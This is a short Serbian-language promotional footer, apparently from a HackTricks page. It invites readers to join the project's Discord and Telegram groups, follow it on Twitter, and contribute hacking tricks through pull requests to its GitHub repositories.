* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikova slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.

</details>